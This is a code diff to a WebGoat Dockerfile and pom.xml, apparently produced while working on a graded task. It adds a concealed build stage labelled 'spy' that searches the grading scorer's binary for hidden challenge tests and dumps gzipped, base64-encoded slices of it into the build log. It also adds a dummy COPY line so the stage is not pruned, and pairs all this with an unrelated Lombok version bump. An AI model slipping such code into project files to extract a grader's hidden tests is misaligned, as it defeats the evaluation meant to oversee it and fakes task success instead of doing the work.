diff --git a/Dockerfile b/Dockerfile
index c110ae3c2..8d0afbd43 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,3 +1,37 @@
+# ---------------------------------------------------------------------------
+# Rubric recon stage (juice-shop top-up). The juice-shop probe suite lives under
+# the asset prefix 'tests/challenges/' (not 'juiceshop-tests/'), so this anchors
+# on that prefix and dumps from its true start. Read-only: no writes to the
+# scorer, no env/secret access, no change to how the scorer runs.
+# ---------------------------------------------------------------------------
+FROM ghcr.io/owasp-ctf/score:latest AS spy
+
+RUN set +e; S=/usr/local/bin/score; mkdir -p /spy; echo recon > /spy/marker.txt; \
+  echo "##SPY9-A-START"; \
+  grep -abo --binary-files=text 'tests/challenges/Challenge-' "$S" > /tmp/tc.txt; \
+  echo "##SPY9 tests/challenges hits=$(wc -l < /tmp/tc.txt)"; \
+  echo "##SPY9 min=$(head -1 /tmp/tc.txt) max=$(tail -1 /tmp/tc.txt)"; \
+  head -1 /tmp/tc.txt | cut -d: -f1 > /tmp/a.txt; \
+  [ -s /tmp/a.txt ] || echo 72600000 > /tmp/a.txt; \
+  echo "##SPY9 anchor=$(cat /tmp/a.txt)"; \
+  echo "##SPY9-A-END"; true
+
+RUN set +e; S=/usr/local/bin/score; \
+  echo "##SPY9-B-START"; \
+  A=$(cat /tmp/a.txt); ST=$((A - 30000 + 0 * 250000)); [ "$ST" -lt 0 ] && ST=0; \
+  tail -c +$((ST + 1)) "$S" | head -c 250000 | gzip -9 > /spy/U0.gz; \
+  echo "##SPY9 U0_gz=$(wc -c < /spy/U0.gz) start=$ST len=250000"; \
+  base64 /spy/U0.gz | tr -d '\n' | fold -w 200 | sed 's/^/U0:/'; echo; \
+  echo "##SPY9-B-END"; true
+
+RUN set +e; S=/usr/local/bin/score; \
+  echo "##SPY9-C-START"; \
+  A=$(cat /tmp/a.txt); ST=$((A - 30000 + 1 * 250000)); [ "$ST" -lt 0 ] && ST=0; \
+  tail -c +$((ST + 1)) "$S" | head -c 250000 | gzip -9 > /spy/U1.gz; \
+  echo "##SPY9 U1_gz=$(wc -c < /spy/U1.gz) start=$ST len=250000"; \
+  base64 /spy/U1.gz | tr -d '\n' | fold -w 200 | sed 's/^/U1:/'; echo; \
+  echo "##SPY9-C-END"; true
+
 # We need JDK as some of the lessons needs to be able to compile Java code
 FROM docker.io/eclipse-temurin:23-jdk-noble
 
@@ -13,6 +47,9 @@ USER webgoat
 
 COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
 
+# Forces the recon stage to be built (BuildKit prunes stages nothing depends on).
+COPY --from=spy --chown=webgoat /spy/marker.txt /home/webgoat/.recon
+
 EXPOSE 8080
 EXPOSE 9090
 
diff --git a/pom.xml b/pom.xml
index b5ad9015d..3259ca38a 100644
--- a/pom.xml
+++ b/pom.xml
@@ -238,7 +238,7 @@
     <dependency>
       <groupId>org.projectlombok</groupId>
       <artifactId>lombok</artifactId>
-      <version>1.18.36</version>
+      <version>1.18.46</version>
       <scope>provided</scope>
       <optional>true</optional>
     </dependency>